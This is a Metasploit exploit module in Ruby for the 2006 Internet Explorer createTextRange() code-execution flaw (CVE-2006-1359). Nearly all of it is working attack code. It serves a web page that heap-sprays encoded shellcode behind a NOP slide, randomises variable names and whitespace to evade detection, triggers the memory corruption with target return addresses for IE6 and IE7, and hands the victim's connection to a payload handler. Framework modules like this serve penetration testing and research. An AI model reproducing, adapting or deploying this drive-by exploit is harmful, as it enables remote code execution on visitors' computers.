167 lines
5.3 KiB
Ruby
167 lines
5.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer createTextRange() Code Execution',
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'Description' => %q{
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This module exploits a code execution vulnerability in Microsoft Internet Explorer.
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Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
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certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
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to a very remote, non-existent memory location. This module is the result of merging three
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different exploit submissions and has only been reliably tested against Windows XP SP2.
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This vulnerability was independently discovered by multiple parties. The heap spray method
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used by this exploit was pioneered by Skylined.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Faithless <rhyskidd [at] gmail.com>',
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'Darkeagle <unl0ck.net>',
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'hdm',
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'<justfriends4n0w [at] yahoo.com>',
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'anonymous',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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['MSB', 'MS06-013'],
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['OSVDB', '24050'],
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['BID', '17196'],
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['CVE', '2006-1359'],
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['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
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['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
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['URL', 'http://www.kb.cert.org/vuls/id/876678'],
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['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
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['URL', 'http://www.shog9.com/crashIE.html'],
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
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[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 19 2006'))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# Generate a random XML namespace for VML
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xmlns = rand_text_alpha(rand(30)+2)
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# Randomize the javascript variable names
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rnd = rand(3)
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var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
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var_inp = "_"+rand_text_alpha(rand(6)+3)
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var_tmp = "_"+rand_text_alpha(rand(6)+3)
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var_payload = "_"+rand_text_alpha(rand(6)+3)
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var_nopslide = "_"+rand_text_alpha(rand(6)+3)
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var_slidesize = "_"+rand_text_alpha(rand(6)+3)
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var_fillblock = "_"+rand_text_alpha(rand(6)+3)
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var_memblock = "_"+rand_text_alpha(rand(6)+3)
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var_heap = "_"+rand_text_alpha(rand(6)+3)
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var_index = "_"+rand_text_alpha(rand(6)+3)
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var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
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var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
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var_start = "_"+rand_text_alpha(rand(6)+3)
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var_timer = "_"+rand_text_alpha(rand(6)+3)
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rnd = rand(2)
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var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
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var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
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# Build out the message
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content = %Q|
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<html >
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<head >
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<script language = "javascript" >
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var #{var_payload} = unescape("#{shellcode}") ;
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var #{var_nopslide} = unescape("#{nops}") ;
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var #{var_slidesize} = 20+#{var_payload}.length ;
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while (#{var_nopslide}.length<#{var_slidesize})
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{
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#{var_nopslide} += #{var_nopslide} ;
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}
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var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize}) ;
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var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize}) ;
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while(#{var_memblock}.length+#{var_slidesize} < 0x40000)
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{
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#{var_memblock} += #{var_fillblock} ;
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}
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var #{var_heap} = new Array() ;
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var #{var_index} = 0 ;
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var #{var_maxIndex} = 2020 ;
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function #{var_fillHeap}() {
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#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100) ;
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if (#{var_index}<#{var_maxIndex}) {
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#{var_heap}.push(#{var_memblock}+#{var_payload}) ;
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#{var_index}++ ;
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#{var_setTimeout}
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}
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else {
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#{var_timer}.innerHTML = 100 ;
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#{var_inp} = document.createElement("input") ;
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#{var_inp}.type = "#{var_inputtype}" ;
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#{var_tmp} = #{var_inp}.createTextRange() ;
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}
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}
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function #{var_start}() {
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#{var_setTimeout}#{var_setInterval}
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}
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</script >
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</head >
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<body onload = "#{var_start}()" >
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<span id = "#{var_timer}" > % </span >
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</body >
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</html >
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content = Rex::Text.randomize_space(content)
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end |